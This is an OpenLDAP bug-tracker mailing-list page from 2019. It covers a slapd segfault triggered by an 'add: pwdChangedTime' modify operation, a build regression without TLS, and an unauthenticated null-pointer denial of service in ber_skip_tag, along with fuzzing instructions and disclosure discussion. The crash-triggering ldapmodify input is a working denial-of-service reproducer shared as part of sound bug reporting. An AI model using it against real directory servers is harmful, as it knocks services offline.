- openldap-bugs - openldap.org

(ITS#9126) add: pwdChangedTime leads to seg fault
by michael＠stroeder.com 02 Dec '19

02 Dec '19

Full_Name: Michael Str.der Version: 2.4.48 / RE24 branch OS: openSUSE Linux URL: Submission from: (NULL) (213.240.182.73) slapd seg faults in case the client sends a modify operation like this (let me know if you need a stack trace): ----------------------------- snip ----------------------------- $ ldapmodify -e relax << EOF dn: uid=test42,ou=Testing,dc=stroeder,dc=de changetype: modify add: pwdChangedTime pwdChangedTime: 19721101000000Z EOF SASL/EXTERNAL authentication started SASL username: gidNumber=100+uidNumber=1000,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "uid=test42,ou=Testing,dc=stroeder,dc=de" ldap_result: Can't contact LDAP server (-1) ----------------------------- snip ----------------------------- Note that this only happens in case the userPassword was *freshly* set via Password Modify ext. op. If the client sends a modify operation with 'replace: pwdChangedTime' this works correctly and after that 'add: pwdChangedTime' is correctly rejected: ----------------------------- snip ----------------------------- $ ldapmodify -e relax << EOF dn: uid=test42,ou=Testing,dc=stroeder,dc=de changetype: modify replace: pwdChangedTime pwdChangedTime: 19721101000000Z EOF SASL/EXTERNAL authentication started SASL username: gidNumber=100+uidNumber=1000,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "uid=test42,ou=Testing,dc=stroeder,dc=de" $ ldapmodify -e relax << EOF dn: uid=test42,ou=Testing,dc=stroeder,dc=de changetype: modify add: pwdChangedTime pwdChangedTime: 19721101000000Z EOF SASL/EXTERNAL authentication started SASL username: gidNumber=100+uidNumber=1000,cn=peercred,cn=external,cn=auth SASL SSF: 0 modifying entry "uid=test42,ou=Testing,dc=stroeder,dc=de" ldap_modify: Type or value exists (20) additional info: modify/add: pwdChangedTime: value #0 already exists ----------------------------- snip -----------------------------

1 0

Re: (ITS#7273) Sig abort crash in slapd using GSSAPI auth in slap_listener at daemon.c:1891
by Howard Chu 02 Dec '19

02 Dec '19

Hi, we believe this issue was due to a bug we recently found in Heimdal. Details are in ITS#9112. http://www.openldap.org/its/index.cgi/Build?id=9112 Closing this ITS.

1 0

Re: (ITS#9125) [regression] back-ldap does not respect --without-tls
by hyc＠symas.com 01 Dec '19

01 Dec '19

grapvar(a)gmail.com wrote: > Full_Name: Konstantin Andreev > Version: git/master/1dbf0e9/20191129 > OS: Solaris 11.3 x64 > URL: > Submission from: (NULL) (79.135.238.172) > > > I have configured the tip of the master branch like so: > > | $ ../configure ... --without-tls ... > | ... > | configure: WARNING: TLS data protection not supported! > > and then compilation has failed: Fixed now in git master. > > | cc -g -m64 -I../../../include -I../../../../include -I.. > -I../../../../servers/slapd/back-ldap/.. -DSLAPD_IMPORT -c > ../../../../servers/slapd/back-ldap/config.c -KPIC -DPIC -o .libs/config.o > | "../../../../servers/slapd/back-ldap/config.c", line 87: warning: > initialization type mismatch > | ... > | "../../../../servers/slapd/back-ldap/config.c", line 992: undefined > struct/union member: sb_tls_ctx > | "../../../../servers/slapd/back-ldap/config.c", line 993: improper member use: > sb_tls_ctx > | ... > | cc: acomp failed for ../../../../servers/slapd/back-ldap/config.c > > ... because slapd.h guards sb_tls_* members of the [struct slap_bindconf]: > > | servers/slapd/slap.h: > | typedef struct slap_bindconf { > | ... > | #ifdef HAVE_TLS > | void *sb_tls_ctx; > | char *sb_tls_cert; > | ... > | #endif > | } slap_bindconf; > > but back-ldap/config.c apparently does not respect HAVE_TLS. > > This is a regression, because latest release 2.4.48 compiles without TLS > succeessfully. > > -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

(ITS#9125) [regression] back-ldap does not respect --without-tls
by grapvar＠gmail.com 01 Dec '19

01 Dec '19

Full_Name: Konstantin Andreev Version: git/master/1dbf0e9/20191129 OS: Solaris 11.3 x64 URL: Submission from: (NULL) (79.135.238.172) I have configured the tip of the master branch like so: | $ ../configure ... --without-tls ... | ... | configure: WARNING: TLS data protection not supported! and then compilation has failed: | cc -g -m64 -I../../../include -I../../../../include -I.. -I../../../../servers/slapd/back-ldap/.. -DSLAPD_IMPORT -c ../../../../servers/slapd/back-ldap/config.c -KPIC -DPIC -o .libs/config.o | "../../../../servers/slapd/back-ldap/config.c", line 87: warning: initialization type mismatch | ... | "../../../../servers/slapd/back-ldap/config.c", line 992: undefined struct/union member: sb_tls_ctx | "../../../../servers/slapd/back-ldap/config.c", line 993: improper member use: sb_tls_ctx | ... | cc: acomp failed for ../../../../servers/slapd/back-ldap/config.c ... because slapd.h guards sb_tls_* members of the [struct slap_bindconf]: | servers/slapd/slap.h: | typedef struct slap_bindconf { | ... | #ifdef HAVE_TLS | void *sb_tls_ctx; | char *sb_tls_cert; | ... | #endif | } slap_bindconf; but back-ldap/config.c apparently does not respect HAVE_TLS. This is a regression, because latest release 2.4.48 compiles without TLS succeessfully.

1 0

Re: (ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by michael＠stroeder.com 29 Nov '19

29 Nov '19

On 11/29/19 1:06 PM, ondra(a)mistotebe.net wrote: > thanks for the report, this should be fixed by commit > 1dbf0e9441def3d6dbc0fa8fba3c2e86fa50fa19 in master. Will this fix be added to 2.4.49 and when? Ciao, Michael.

1 0

Re: (ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by stephan＠srlabs.de 29 Nov '19

29 Nov '19

--Apple-Mail-A7F46F22-1F3F-4DFD-A65F-8D3B7CB2FC27 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: base64 V2lsbCB1c2UgdGhlIE1ham9yIFNlY3VyaXR5IGlzc3VlIGJ1dHRvbiBuZXh0IHRpbWUuIEFsc28s IEkgd2lsbCB3YWl0IHdpdGggQ1ZFIElEIHJlcXVlc3QgdW50aWwgYSBuZXcgcmVsZWFzZSBpbmNs dWRpbmcgdGhlIGJ1ZyBmaXgoZXMpIGlzIGF2YWlsYWJsZS4gUGxlYXNlIGxldCBtZSBrbm93IHdo ZW4gdGhlIG5ldyByZWxlYXNlIGlzIHJlYWR5Lg0KDQpDaGVlcnMNCiAgICAtU3RlcGhhbg0KDQo+ IE9uIDI5LiBOb3YgMjAxOSwgYXQgMTY6NTAsIEhvd2FyZCBDaHUgPGh5Y0BzeW1hcy5jb20+IHdy b3RlOg0KPiANCj4g77u/c3RlcGhhbkBzcmxhYnMuZGUgd3JvdGU6DQo+PiBOb3RlOiBBZnRlciBD eXJ1cyBTQVNMIGZpeGVzIHRoZSBvdGhlciBpc3N1ZSAjOTEyMywgSSB3aWxsIHJlcXVlc3QgQ1ZF IGlkPQ0KPj4gJ3MgZm9yIHRoZSB0d28gYnVncyBhbmQgc2hhcmUgdGhlbSBhcyBhIHJlZmVyZW5j ZSBpbiB0aGUgcmVsZXZhbnQgaXNzdWVzID0NCj4+ICgjOTEyMywgIzkxMjQpDQo+IA0KPiBVc3Vh bCBwcmFjdGljZSBmb3IgQ1ZFcyBpcyBub3QgdG8gbWFrZSB0aGVtIHB1YmxpYyB1bnRpbCBmaXhl cyBhcmUgcmVsZWFzZWQuIEluIHRoZQ0KPiBmdXR1cmUsIHlvdSBzaG91bGQgdGljayB0aGUgTWFq b3IgU2VjdXJpdHkgSXNzdWUgYnV0dG9uIGZvciBwb3RlbnRpYWwgQ1ZFcyBzbyB0aGV5DQo+IGNh biBiZSBoYW5kbGVkIHByaXZhdGVseSBiZWZvcmUgcmVsZWFzZS4NCj4gDQo+IC0tIA0KPiAgLS0g SG93YXJkIENodQ0KPiAgQ1RPLCBTeW1hcyBDb3JwLiAgICAgICAgICAgaHR0cDovL3d3dy5zeW1h cy5jb20NCj4gIERpcmVjdG9yLCBIaWdobGFuZCBTdW4gICAgIGh0dHA6Ly9oaWdobGFuZHN1bi5j b20vaHljLw0KPiAgQ2hpZWYgQXJjaGl0ZWN0LCBPcGVuTERBUCAgaHR0cDovL3d3dy5vcGVubGRh cC5vcmcvcHJvamVjdC8NCg== --Apple-Mail-A7F46F22-1F3F-4DFD-A65F-8D3B7CB2FC27 Content-Type: application/pkcs7-signature; name=smime.p7s Content-Disposition: attachment; filename=smime.p7s Content-Transfer-Encoding: base64 MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCCBU8w ggVLMIIEM6ADAgECAhBcqlOYsUipXhgfVtj/CAUVMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYDVQQG EwJJVDEPMA0GA1UECAwGTWlsYW5vMQ8wDQYDVQQHDAZNaWxhbm8xIzAhBgNVBAoMGkFjdGFsaXMg Uy5wLkEuLzAzMzU4NTIwOTY3MSwwKgYDVQQDDCNBY3RhbGlzIENsaWVudCBBdXRoZW50aWNhdGlv biBDQSBHMTAeFw0xOTA1MjQwODA3MTdaFw0yMDA1MjQwODA3MTdaMBwxGjAYBgNVBAMMEXN0ZXBo YW5Ac3JsYWJzLmRlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAmniYbaUHSdjBF3/m +2PVN14GEGxOSwHtd8WxH9mUXKEIW4XuImwNz8AoGfFOHc4DA1Tc/an6lONwAeBgj541N7aKSTxR phKnrJrpJarbUR2FM7u7Km7btUTBT9mm6OmympB+vWKaGkjQo2Gr3GRSfVDNLP/n70H8uthbgwPL uBfBt/dLHFrvYBpPtnH2EQqKc1SELSUPAuo9zaO/ohwPb7Sss3vMOOtePGL0lcHjWCbdsstZ/DUz ek9MQ6F+PkGYee3JSzvyXvrADheqUPHtYPd2LPu6hZKbAGjoqRYHVbwITZIzu7QWB4YEXFCdMT6X Ide5lvA0zR7hhb63HKUVewIDAQABo4ICIDCCAhwwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBR+ YPz4bKc9Pdeuk6F5Ao+zdCk79TBLBggrBgEFBQcBAQQ/MD0wOwYIKwYBBQUHMAKGL2h0dHA6Ly9j YWNlcnQuYWN0YWxpcy5pdC9jZXJ0cy9hY3RhbGlzLWF1dGNsaWcxMBwGA1UdEQQVMBOBEXN0ZXBo YW5Ac3JsYWJzLmRlMEcGA1UdIARAMD4wPAYGK4EfARgBMDIwMAYIKwYBBQUHAgEWJGh0dHBzOi8v d3d3LmFjdGFsaXMuaXQvYXJlYS1kb3dubG9hZDAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUH AwQwgegGA1UdHwSB4DCB3TCBm6CBmKCBlYaBkmxkYXA6Ly9sZGFwMDUuYWN0YWxpcy5pdC9jbiUz ZEFjdGFsaXMlMjBDbGllbnQlMjBBdXRoZW50aWNhdGlvbiUyMENBJTIwRzEsbyUzZEFjdGFsaXMl MjBTLnAuQS4vMDMzNTg1MjA5NjcsYyUzZElUP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q7Ymlu YXJ5MD2gO6A5hjdodHRwOi8vY3JsMDUuYWN0YWxpcy5pdC9SZXBvc2l0b3J5L0FVVEhDTC1HMS9n ZXRMYXN0Q1JMMB0GA1UdDgQWBBSM25yar8W0HyQ52pQLvwam2PQI1zAOBgNVHQ8BAf8EBAMCBaAw DQYJKoZIhvcNAQELBQADggEBADvK449WtB/GFtNr0TNrTnaNbtSuPz5poGt7nyUbneGYazzxvjBP I0a0A+h/++rHcAuYrCNP+/M0PWU3Jv4IDf6YwHGRQdXN4f9xhCtmBnFtfQ229anlEBvLZv5uEQSz Z6qhvZkqnq9WQ/ofb9q2GGwPfKa+QM4T8QFv5ZmogdXriH3gf4gJ1fbW7Ig33y+xYXr8W4lQ3haA ShGzV/FleypHafb/3ptGWNq3+diGKPxNpyU1BMq904OPAEBMCa5i8+8kYsT8ug+t2uSqboWrutgr /y4bYxBrY56cdfgnLBqoHPEBkg8ONHMgiULphoOelPbOjHD0by5aiDvNToIkdX4xggOIMIIDhAIB ATCBlzCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0GA1UEBwwGTWlsYW5vMSMw IQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoGA1UEAwwjQWN0YWxpcyBDbGll bnQgQXV0aGVudGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W2P8IBRUwDQYJYIZIAWUDBAIBBQCg ggHBMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJKoZIhvcNAQkFMQ8XDTE5MTEyOTE2MDgy N1owLwYJKoZIhvcNAQkEMSIEIP3CztgLxmwa4dtGsPyVGK0Uu2reBGyuXGbCQ2TxWLdEMIGoBgkr BgEEAYI3EAQxgZowgZcwgYIxCzAJBgNVBAYTAklUMQ8wDQYDVQQIDAZNaWxhbm8xDzANBgNVBAcM Bk1pbGFubzEjMCEGA1UECgwaQWN0YWxpcyBTLnAuQS4vMDMzNTg1MjA5NjcxLDAqBgNVBAMMI0Fj dGFsaXMgQ2xpZW50IEF1dGhlbnRpY2F0aW9uIENBIEcxAhBcqlOYsUipXhgfVtj/CAUVMIGqBgsq hkiG9w0BCRACCzGBmqCBlzCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0GA1UE BwwGTWlsYW5vMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoGA1UEAwwj QWN0YWxpcyBDbGllbnQgQXV0aGVudGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W2P8IBRUwDQYJ KoZIhvcNAQEBBQAEggEAg+2zoDEhEy/p+izbCvXUOo0c/2HTHZsd6QvvSN/+gW5YNBEavqnvotEK cYYUNmX5RQP6Zyg/rnsK1jatSz1Bvxf7d20+XWK+1+Nt+PGztyreTBRHabdsns/AO3qoHomJ6m84 hA3hvz4k1kacGwTc+aqLy136Qd6cIoGlsVv2kVPdbTabntbm9aG199m24QHU2Sp2JJOEheLkr3+s wFzi3Df53zn9juhUoc/5JwkxvTyyGuWM8FOLYDfxVtjS2hd1KtooyKox4dwahwmn8aMCTU4yjBC4 2Z7GeVZ/RgeoXpzs1aB9je7b4R+XyGQimNRpQWu44y68/j4cu5pl1oiZ8gAAAAAAAA== --Apple-Mail-A7F46F22-1F3F-4DFD-A65F-8D3B7CB2FC27--

1 0

Re: (ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by hyc＠symas.com 29 Nov '19

29 Nov '19

stephan(a)srlabs.de wrote: > Note: After Cyrus SASL fixes the other issue #9123, I will request CVE id= > 's for the two bugs and share them as a reference in the relevant issues = > (#9123, #9124) Usual practice for CVEs is not to make them public until fixes are released. In the future, you should tick the Major Security Issue button for potential CVEs so they can be handled privately before release. -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

1 0

Re: (ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by stephan＠srlabs.de 29 Nov '19

29 Nov '19

--------------ms020107020804030202050609 Content-Type: multipart/mixed; boundary="------------B39567B16EE4CE18797C4253" Content-Language: en-US This is a multi-part message in MIME format. --------------B39567B16EE4CE18797C4253 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: quoted-printable Hi Ond=C5=99ej =E2=80=94 The commit 1dbf0e9441def3d6dbc0fa8fba3c2e86fa50fa19 seems to fix the null= pointer dereference issue. Using honggfuzz netdriver module, fuzzing of slapd can be accomplished re= latively easy. You can follow the below instructions to fuzz the server: 1. Install honggfuzz (stable) $ export CC=3Dhfuzz-clang $ export CXX=3Dhfuzz-clang++ 2. Apply attached patch (fuzz.patch) 3. Compile openldap $ ./configure $ make depend $ make $ make install 4. Create testcase directory including seeds (probably you have way bette= r seeds then I have :), I just used ldap payloads extracted from some pca= p's) $ mkdir testcases 5. Start fuzzing $ HFND_TCP_PORT=3D9090 honggfuzz -w ldap.wordlist -f testcases/ -- ./libe= xec/slapd -d 1 -h ldap://127.0.0.1:9090 As you see, the fuzzing setup is relatively simple thanks to honggfuzz. Hope this helps! Note: After Cyrus SASL fixes the other issue #9123, I will request CVE id= 's for the two bugs and share them as a reference in the relevant issues = (#9123, #9124) Cheers =C2=A0=C2=A0=C2=A0 -Stephan On 11/29/19 1:06 PM, Ond=C5=99ej Kuzn=C3=ADk wrote: > On Fri, Nov 29, 2019 at 09:08:15AM +0000, stephan(a)srlabs.de wrote: >> Unauthenticated remote denial-of-service through malformed ldap packet= >> caused by a null pointer dereference in ber_skip_tag function >> (libraries/liblber/decode.c). >> >> =3D=3D4066091=3D=3D by 0x4FD051: cancel_extop (cancel.c:52) > Hi Stephan, > thanks for the report, this should be fixed by commit > 1dbf0e9441def3d6dbc0fa8fba3c2e86fa50fa19 in master. > > Looks like you are fuzzing the server which has been on my to do list > for a while, many thanks for that and I'm looking forward to reading > how you did it. Would you be willing to help the project integrate your= > work in its testing process after you've finished? > > Thanks, > --------------B39567B16EE4CE18797C4253 Content-Type: text/x-patch; charset=UTF-8; name="fuzz.patch" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="fuzz.patch" diff --git a/servers/slapd/main.c b/servers/slapd/main.c index f528aa951..1941ae3de 100644 --- a/servers/slapd/main.c +++ b/servers/slapd/main.c @@ -349,12 +349,14 @@ usage( char *name ) ); } =20 -#ifdef HAVE_NT_SERVICE_MANAGER -void WINAPI ServiceMain( DWORD argc, LPTSTR *argv ) +//#ifdef HAVE_NT_SERVICE_MANAGER +//void WINAPI ServiceMain( DWORD argc, LPTSTR *argv ) +//#else +#ifdef HFND_FUZZING_ENTRY_FUNCTION +HFND_FUZZING_ENTRY_FUNCTION(int argc, char **argv) { #else -int main( int argc, char **argv ) +int main( int argc, char **argv ) { #endif -{ int i, no_detach =3D 0; int rc =3D 1; char *urls =3D NULL; --------------B39567B16EE4CE18797C4253-- --------------ms020107020804030202050609 Content-Type: application/pkcs7-signature; name="smime.p7s" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="smime.p7s" Content-Description: S/MIME Cryptographic Signature MIAGCSqGSIb3DQEHAqCAMIACAQExDzANBglghkgBZQMEAgEFADCABgkqhkiG9w0BBwEAAKCC C5owggVLMIIEM6ADAgECAhBcqlOYsUipXhgfVtj/CAUVMA0GCSqGSIb3DQEBCwUAMIGCMQsw CQYDVQQGEwJJVDEPMA0GA1UECAwGTWlsYW5vMQ8wDQYDVQQHDAZNaWxhbm8xIzAhBgNVBAoM GkFjdGFsaXMgUy5wLkEuLzAzMzU4NTIwOTY3MSwwKgYDVQQDDCNBY3RhbGlzIENsaWVudCBB dXRoZW50aWNhdGlvbiBDQSBHMTAeFw0xOTA1MjQwODA3MTdaFw0yMDA1MjQwODA3MTdaMBwx GjAYBgNVBAMMEXN0ZXBoYW5Ac3JsYWJzLmRlMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB CgKCAQEAmniYbaUHSdjBF3/m+2PVN14GEGxOSwHtd8WxH9mUXKEIW4XuImwNz8AoGfFOHc4D A1Tc/an6lONwAeBgj541N7aKSTxRphKnrJrpJarbUR2FM7u7Km7btUTBT9mm6OmympB+vWKa GkjQo2Gr3GRSfVDNLP/n70H8uthbgwPLuBfBt/dLHFrvYBpPtnH2EQqKc1SELSUPAuo9zaO/ ohwPb7Sss3vMOOtePGL0lcHjWCbdsstZ/DUzek9MQ6F+PkGYee3JSzvyXvrADheqUPHtYPd2 LPu6hZKbAGjoqRYHVbwITZIzu7QWB4YEXFCdMT6XIde5lvA0zR7hhb63HKUVewIDAQABo4IC IDCCAhwwDAYDVR0TAQH/BAIwADAfBgNVHSMEGDAWgBR+YPz4bKc9Pdeuk6F5Ao+zdCk79TBL BggrBgEFBQcBAQQ/MD0wOwYIKwYBBQUHMAKGL2h0dHA6Ly9jYWNlcnQuYWN0YWxpcy5pdC9j ZXJ0cy9hY3RhbGlzLWF1dGNsaWcxMBwGA1UdEQQVMBOBEXN0ZXBoYW5Ac3JsYWJzLmRlMEcG A1UdIARAMD4wPAYGK4EfARgBMDIwMAYIKwYBBQUHAgEWJGh0dHBzOi8vd3d3LmFjdGFsaXMu aXQvYXJlYS1kb3dubG9hZDAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwQwgegGA1Ud HwSB4DCB3TCBm6CBmKCBlYaBkmxkYXA6Ly9sZGFwMDUuYWN0YWxpcy5pdC9jbiUzZEFjdGFs aXMlMjBDbGllbnQlMjBBdXRoZW50aWNhdGlvbiUyMENBJTIwRzEsbyUzZEFjdGFsaXMlMjBT LnAuQS4vMDMzNTg1MjA5NjcsYyUzZElUP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q7Ymlu YXJ5MD2gO6A5hjdodHRwOi8vY3JsMDUuYWN0YWxpcy5pdC9SZXBvc2l0b3J5L0FVVEhDTC1H MS9nZXRMYXN0Q1JMMB0GA1UdDgQWBBSM25yar8W0HyQ52pQLvwam2PQI1zAOBgNVHQ8BAf8E BAMCBaAwDQYJKoZIhvcNAQELBQADggEBADvK449WtB/GFtNr0TNrTnaNbtSuPz5poGt7nyUb neGYazzxvjBPI0a0A+h/++rHcAuYrCNP+/M0PWU3Jv4IDf6YwHGRQdXN4f9xhCtmBnFtfQ22 9anlEBvLZv5uEQSzZ6qhvZkqnq9WQ/ofb9q2GGwPfKa+QM4T8QFv5ZmogdXriH3gf4gJ1fbW 7Ig33y+xYXr8W4lQ3haAShGzV/FleypHafb/3ptGWNq3+diGKPxNpyU1BMq904OPAEBMCa5i 8+8kYsT8ug+t2uSqboWrutgr/y4bYxBrY56cdfgnLBqoHPEBkg8ONHMgiULphoOelPbOjHD0 by5aiDvNToIkdX4wggZHMIIEL6ADAgECAggs1IrTsR4PiTANBgkqhkiG9w0BAQsFADBrMQsw CQYDVQQGEwJJVDEOMAwGA1UEBwwFTWlsYW4xIzAhBgNVBAoMGkFjdGFsaXMgUy5wLkEuLzAz MzU4NTIwOTY3MScwJQYDVQQDDB5BY3RhbGlzIEF1dGhlbnRpY2F0aW9uIFJvb3QgQ0EwHhcN MTUwNTE0MDcxNDE1WhcNMzAwNTE0MDcxNDE1WjCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgM Bk1pbGFubzEPMA0GA1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1 ODUyMDk2NzEsMCoGA1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVudGljYXRpb24gQ0EgRzEw ggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDA/MGJVtmI4vQEZb/NCTWrKCkw/gzK 9yerHBHuhj1d5PVsRLYMVzOVl96Iio0tqduTKpPHJ1dn6TGhL3TvWpaxnrNL6nFKpcuz5FO+ d0RpbHmF0dlwo1YbOHLkWI7gZm8aUUicUSJpj504SmONa9J5em9wOmdjDoz0Be4ejgmGMLc/ 84r//lAVefO1NriJTrpGku145OAK2JELBk0rHwQV6qp9Oli98Rvgf3UTuf5jrWObR3YTx8nb AZNpJLCNzydMjYCle6OhzO6RvaQerBoY/erlS551ZydFlzrldSEr9norfYq+tC40/fYX/kzG S8QOcmlSee32IwTG8TOffXMNAgMBAAGjggHVMIIB0TBBBggrBgEFBQcBAQQ1MDMwMQYIKwYB BQUHMAGGJWh0dHA6Ly9vY3NwMDUuYWN0YWxpcy5pdC9WQS9BVVRILVJPT1QwHQYDVR0OBBYE FH5g/Phspz09166ToXkCj7N0KTv1MA8GA1UdEwEB/wQFMAMBAf8wHwYDVR0jBBgwFoAUUtiI OsifeGbtifN7OHCUyQICNtAwRQYDVR0gBD4wPDA6BgRVHSAAMDIwMAYIKwYBBQUHAgEWJGh0 dHBzOi8vd3d3LmFjdGFsaXMuaXQvYXJlYS1kb3dubG9hZDCB4wYDVR0fBIHbMIHYMIGWoIGT oIGQhoGNbGRhcDovL2xkYXAwNS5hY3RhbGlzLml0L2NuJTNkQWN0YWxpcyUyMEF1dGhlbnRp Y2F0aW9uJTIwUm9vdCUyMENBLG8lM2RBY3RhbGlzJTIwUy5wLkEuJTJmMDMzNTg1MjA5Njcs YyUzZElUP2NlcnRpZmljYXRlUmV2b2NhdGlvbkxpc3Q7YmluYXJ5MD2gO6A5hjdodHRwOi8v Y3JsMDUuYWN0YWxpcy5pdC9SZXBvc2l0b3J5L0FVVEgtUk9PVC9nZXRMYXN0Q1JMMA4GA1Ud DwEB/wQEAwIBBjANBgkqhkiG9w0BAQsFAAOCAgEATZPO1SS+QRtKFlhzX2WJ8tl6PliMvMvE D+VbFmeywUukM/JJ/Myad3PcXTpLnWW3AN75uVPByl3NSXczZqUofds6vznmS71Gvq553Jr4 cZBRPQ6GoOjYrYIAT2cFx8A3GJ+N9PxfMKgLdy1/27HeiDVa4TxZNwtkqAIy41EGYm170LhS DTDeJeo/Orwq5FGhs0qp10+OTcSIr5AD4QUIKRrXE4uH/tw8ZMkw21rX/S7mguJdo4Ad4Au3 +ep5naRn6WLMryhO/iKflq8h/d6Vregvq+vClNxrtNnFNf3R7zTl1lA3ipFU909usGVa02jM ftJ0t4utyg3yXYRc7rX3QYAlh3KdNzYToTKstUZwMpRf3VWYJJGuoSmlntbTlNtZEuLr7A+M DOZOrZdKYp9qOruO5MqCSTDsUUkHKLFrQ11Jmix1BvdWQuobwQ5g5qZkuof6/u5rT66WDsU6 +IVt5nthH15E7zU7wULW4uC62XIYPb4YuOBCey+d4Oxs0BZ+SivL6qoDG9XNfk9JpCnaknnY BogfUw3WLb+B5FI/zdNEysWTC4gzMOFfEoVC+myk1zX29xOvLOO3A/jGrRY1LhhY9LhT72Zb 5TQKCeyDH18yIk1st+V/mpJvnePcAYeeMr+onM9rf3AVNctcHrjwXfDVB/1Ht5l5NEl8JBj9 8lQxggP2MIID8gIBATCBlzCBgjELMAkGA1UEBhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0G A1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3RhbGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoG A1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVudGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W 2P8IBRUwDQYJYIZIAWUDBAIBBQCgggIvMBgGCSqGSIb3DQEJAzELBgkqhkiG9w0BBwEwHAYJ KoZIhvcNAQkFMQ8XDTE5MTEyOTE0MTAwN1owLwYJKoZIhvcNAQkEMSIEIDrSxJxDsDDfl2Dd xIYYngVgXvUxdrKLkM1iWOnau/l4MGwGCSqGSIb3DQEJDzFfMF0wCwYJYIZIAWUDBAEqMAsG CWCGSAFlAwQBAjAKBggqhkiG9w0DBzAOBggqhkiG9w0DAgICAIAwDQYIKoZIhvcNAwICAUAw BwYFKw4DAgcwDQYIKoZIhvcNAwICASgwgagGCSsGAQQBgjcQBDGBmjCBlzCBgjELMAkGA1UE BhMCSVQxDzANBgNVBAgMBk1pbGFubzEPMA0GA1UEBwwGTWlsYW5vMSMwIQYDVQQKDBpBY3Rh bGlzIFMucC5BLi8wMzM1ODUyMDk2NzEsMCoGA1UEAwwjQWN0YWxpcyBDbGllbnQgQXV0aGVu dGljYXRpb24gQ0EgRzECEFyqU5ixSKleGB9W2P8IBRUwgaoGCyqGSIb3DQEJEAILMYGaoIGX MIGCMQswCQYDVQQGEwJJVDEPMA0GA1UECAwGTWlsYW5vMQ8wDQYDVQQHDAZNaWxhbm8xIzAh BgNVBAoMGkFjdGFsaXMgUy5wLkEuLzAzMzU4NTIwOTY3MSwwKgYDVQQDDCNBY3RhbGlzIENs aWVudCBBdXRoZW50aWNhdGlvbiBDQSBHMQIQXKpTmLFIqV4YH1bY/wgFFTANBgkqhkiG9w0B AQEFAASCAQA9zDrxcLY4Ki274n/uD+urTRlasoNsnPmLUzyOVtR+ieq0ucB4w+cx+an6hFbT u6hnr40a88cUfyw4em6KKk5rXfsMM/fPJs1na9KPlnS1Dw9+HpSOERVavlJ1N/Vut9uqpqxc vXLgSdYB5LR1QF2PzAm7SLIWt5gIMjSvAJboWmt9/Dgc+cccbcyt5Th5wFcH5wHXt4xOSUQY e3aWRJGwTXv4WCqeSXE1zzOlQvJNamaD70U21MX6Lb3Nk4mqJ33G388kJfu6lIr7VhDQGl0f muENH+M5tPH0QzBRq1E6SmvcDh4iB4AlIMj4yWE/Uxl83QZ0XpJt3GpDdtJmsffKAAAAAAAA --------------ms020107020804030202050609--

1 0

Re: (ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by ondra＠mistotebe.net 29 Nov '19

29 Nov '19

On Fri, Nov 29, 2019 at 09:08:15AM +0000, stephan(a)srlabs.de wrote: > Unauthenticated remote denial-of-service through malformed ldap packet > caused by a null pointer dereference in ber_skip_tag function > (libraries/liblber/decode.c). > > ==4066091== by 0x4FD051: cancel_extop (cancel.c:52) Hi Stephan, thanks for the report, this should be fixed by commit 1dbf0e9441def3d6dbc0fa8fba3c2e86fa50fa19 in master. Looks like you are fuzzing the server which has been on my to do list for a while, many thanks for that and I'm looking forward to reading how you did it. Would you be willing to help the project integrate your work in its testing process after you've finished? Thanks, -- Ondřej Kuzník Senior Software Engineer Symas Corporation http://www.symas.com Packaged, certified, and supported LDAP solutions powered by OpenLDAP

1 0

(ITS#9124) Unauthenticated remote denial-of-service (Null pointer dereference in ber_skip_tag)
by stephan＠srlabs.de 29 Nov '19

29 Nov '19

